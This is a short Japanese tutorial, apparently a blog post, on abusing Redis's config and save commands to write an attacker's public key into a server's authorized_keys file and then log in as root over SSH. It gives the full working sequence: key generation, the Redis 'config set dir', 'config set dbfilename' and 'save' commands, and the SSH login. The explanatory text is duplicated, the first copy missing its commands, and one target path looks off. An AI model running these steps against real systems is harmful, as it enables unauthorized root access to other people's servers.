Redis書き込みファイル権限によるsshアクセスlinuxの脆弱性
げんり
redisのconfigコマンドでrdbファイルアドレスをsshキーファイルに変更し、redisに公開鍵を書き込み、saveコマンドで手動でrdbにリフレッシュすると、このとき秘密鍵でログインできます
操作
ローカルコンピュータ(linuxを例に)でパスワードのない鍵を生成
このときは~/.ssh/下生成2つのファイル
サーバのredisコマンドラインに入り、次の一連のコマンドを入力します(ssh-rsaコンテンツの前後にリターン記号があることに注意してください).
この時点でauthorized_keysファイルに公開鍵が書き込まれています
ローカルコンピュータ使用コマンド
この中には、redisがファイルを書く権限がディレクトリに届くようにするいくつかの制限があります.現在rootユーザに書き込まれているので、redisはrootユーザで起動する必要があります.あるサーバにどのユーザがいるか知っていればconfig set dir/.sshをconfig set dir/home/username/.sshは、redisとそのユーザが同じユーザであることが望ましい、この場合config set dir~/.ssh
redisのconfigコマンドでrdbファイルアドレスをsshキーファイルに変更し、redisに公開鍵を書き込み、saveコマンドで手動でrdbにリフレッシュすると、このとき秘密鍵でログインできます
操作
ローカルコンピュータ(linuxを例に)でパスワードのない鍵を生成
ssh-keygen -t rsa -P '' #
このときは~/.ssh/下生成2つのファイル
id_rsa
とid_rsa.pub
,id_rsaは秘密鍵、id_rsa_pubは公開鍵であり、公開鍵ファイルの内容は以下の通りである.ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf53Tg8bfLm8UQBFgm31YpMPuGDY3eWQ5GCiP4E7hdaSBvqSjeMjUOy5NWLg424BFWSFiKNF8oRBZpXtfhu+4AwgrwdSDJuKQtjJvrh7D+rnuxtzpGbqL/716S0e/+VHeh8PXnC+GPAMg72p7zDzHuYkvwkx/r6LSY9fspU25lHH4I9VrrxgPoS+BbU03i9LiGZFSTUSAljTJE3H5bPNpRPWlHlAZTxGXTYIGO+K2ZnUAg2+HtS246NONl6z1lVtxrS5G4yuiTeHJr+KWJD/DOiZ50EoYqbTHsjnTAM5MJTLHWH1jBIZ133OHW5RGmzyEuws6ge0Y6eGnxgwm2W09p uvince@DESKTOP-6JIM4T8
サーバのredisコマンドラインに入り、次の一連のコマンドを入力します(ssh-rsaコンテンツの前後にリターン記号があることに注意してください).
config set dir /.ssh
config set dbfilename authorized_keys
set ssh-test "
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf53Tg8bfLm8UQBFgm31YpMPuGDY3eWQ5GCiP4E7hdaSBvqSjeMjUOy5NWLg424BFWSFiKNF8oRBZpXtfhu+4AwgrwdSDJuKQtjJvrh7D+rnuxtzpGbqL/716S0e/+VHeh8PXnC+GPAMg72p7zDzHuYkvwkx/r6LSY9fspU25lHH4I9VrrxgPoS+BbU03i9LiGZFSTUSAljTJE3H5bPNpRPWlHlAZTxGXTYIGO+K2ZnUAg2+HtS246NONl6z1lVtxrS5G4yuiTeHJr+KWJD/DOiZ50EoYqbTHsjnTAM5MJTLHWH1jBIZ133OHW5RGmzyEuws6ge0Y6eGnxgwm2W09p uvince@DESKTOP-6JIM4T8
"
save
この時点でauthorized_keysファイルに公開鍵が書き込まれています
ローカルコンピュータ使用コマンド
ssh -i ~/.ssh/id_rsa [email protected]
はサーバにログインできます.ここで-iの後ろには秘密鍵のパスがあります.この中には、redisがファイルを書く権限がディレクトリに届くようにするいくつかの制限があります.現在rootユーザに書き込まれているので、redisはrootユーザで起動する必要があります.あるサーバにどのユーザがいるか知っていればconfig set dir/.sshをconfig set dir/home/username/.sshは、redisとそのユーザが同じユーザであることが望ましい、この場合config set dir~/.ssh